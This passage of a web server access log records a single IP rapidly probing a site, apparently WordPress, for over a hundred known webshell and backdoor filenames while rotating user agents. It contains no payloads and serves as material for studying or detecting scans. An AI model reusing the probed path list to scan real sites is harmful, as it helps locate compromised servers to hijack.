[11/Feb/2026:17:23:29 +0300] "GET /bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:29 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:29 +0300] "GET /wp-admin/css/colors/light/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.92.229.34 - - [11/Feb/2026:17:23:30 +0300] "GET /wp-content/product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:23:30 +0300] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:23:30 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ask.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:23:30 +0300] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.92.229.34 - - [11/Feb/2026:17:23:31 +0300] "GET /css/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:31 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:23:31 +0300] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:31 +0300] "GET /autoload_classmap/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:31 +0300] "GET /wp-includes/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:23:32 +0300] "GET /assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:23:32 +0300] "GET /.well-known/pki-validation/index.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:23:32 +0300] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.92.229.34 - - [11/Feb/2026:17:23:32 +0300] "GET /css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:23:33 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:23:33 +0300] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:33 +0300] "GET /wp_wlx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:33 +0300] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:34 +0300] "GET /wp-includes/assets/husky301.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:23:34 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:34 +0300] "GET /wp-admin/css/colors/blue/wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:23:34 +0300] "GET /wp-content/themes/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:34 +0300] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.92.229.34 - - [11/Feb/2026:17:23:35 +0300] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:35 +0300] "GET /Marvins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:23:35 +0300] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:35 +0300] "GET /wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:36 +0300] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.92.229.34 - - [11/Feb/2026:17:23:36 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.92.229.34 - - [11/Feb/2026:17:23:36 +0300] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:36 +0300] "GET /wp-includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:37 +0300] "GET /wp-content/blue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:23:37 +0300] "GET /content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:37 +0300] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.92.229.34 - - [11/Feb/2026:17:23:37 +0300] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.92.229.34 - - [11/Feb/2026:17:23:38 +0300] "GET /wp-includes/rest-api/endpoints/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:23:38 +0300] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:38 +0300] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:23:38 +0300] "GET /wp-content/plugins/up/main.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:39 +0300] "GET /fonts/fontawesome-webfont.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:39 +0300] "GET /wp-admin/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:39 +0300] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:23:40 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:23:40 +0300] "GET /images/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:23:40 +0300] "GET /images/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.92.229.34 - - [11/Feb/2026:17:23:41 +0300] "GET /wp-content/plugins/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:41 +0300] "GET /web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.92.229.34 - - [11/Feb/2026:17:23:41 +0300] "GET /wp-admin/css/colors/ocean/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:41 +0300] "GET /images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:23:42 +0300] "GET /wp-content/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.92.229.34 - - [11/Feb/2026:17:23:42 +0300] "GET /.well-known/gecko-litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:23:42 +0300] "GET /wp-admin/css/colors/midnight/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:42 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:43 +0300] "GET /wp-includes/style-engine/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:43 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.92.229.34 - - [11/Feb/2026:17:23:43 +0300] "GET /wp-admin/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.92.229.34 - - [11/Feb/2026:17:23:44 +0300] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:23:44 +0300] "GET /wp-admin/css/colors/midnight/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.92.229.34 - - [11/Feb/2026:17:23:44 +0300] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:44 +0300] "GET /wp-setup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.92.229.34 - - [11/Feb/2026:17:23:45 +0300] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:23:45 +0300] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:45 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.92.229.34 - - [11/Feb/2026:17:23:46 +0300] "GET /wp-includes/infi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:46 +0300] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.92.229.34 - - [11/Feb/2026:17:23:46 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.92.229.34 - - [11/Feb/2026:17:23:46 +0300] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:47 +0300] "GET /css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:23:47 +0300] "GET /images/index22.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:23:47 +0300] "GET /wp-user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:48 +0300] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:23:48 +0300] "GET /wp-includes/pomo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:48 +0300] "GET /config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:49 +0300] "GET /special.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:49 +0300] "GET /assets/script.js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.92.229.34 - - [11/Feb/2026:17:23:49 +0300] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.92.229.34 - - [11/Feb/2026:17:23:49 +0300] "GET /wp-admin/css/colors/sunrise/colors_95.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.92.229.34 - - [11/Feb/2026:17:23:50 +0300] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:23:50 +0300] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:50 +0300] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:23:50 +0300] "GET /cgi-bin/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:23:51 +0300] "GET /wp-content/cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:51 +0300] "GET /wp-admin/css/colors/blue/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:51 +0300] "GET /wp-includes/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:23:51 +0300] "GET /webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:23:52 +0300] "GET /assets/images/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:23:52 +0300] "GET /file2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:52 +0300] "GET /wp-includes/ID3/wp-work.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:53 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:53 +0300] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:53 +0300] "GET /wp-includes/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:53 +0300] "GET /.well-known/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:54 +0300] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.92.229.34 - - [11/Feb/2026:17:23:54 +0300] "GET /wp-admin/js/widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:23:54 +0300] "GET /wp-includes/random_compat/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:23:54 +0300] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:55 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:23:55 +0300] "GET /wp-content/plugins/WordPressCore/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:55 +0300] "GET /cgi-bin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:23:55 +0300] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:56 +0300] "GET /wp-admin/user/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:56 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.92.229.34 - - [11/Feb/2026:17:23:56 +0300] "GET /wp-includes/js/jquery/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:56 +0300] "GET /wp-includes/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:57 +0300] "GET /wp-includes/certificates/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:23:57 +0300] "GET /wp-includes/images/media/dog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:57 +0300] "GET /xp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:23:57 +0300] "GET /wp-includes/SimplePie/applicationd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:58 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:23:58 +0300] "GET /wp-links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.92.229.34 - - [11/Feb/2026:17:23:58 +0300] "GET 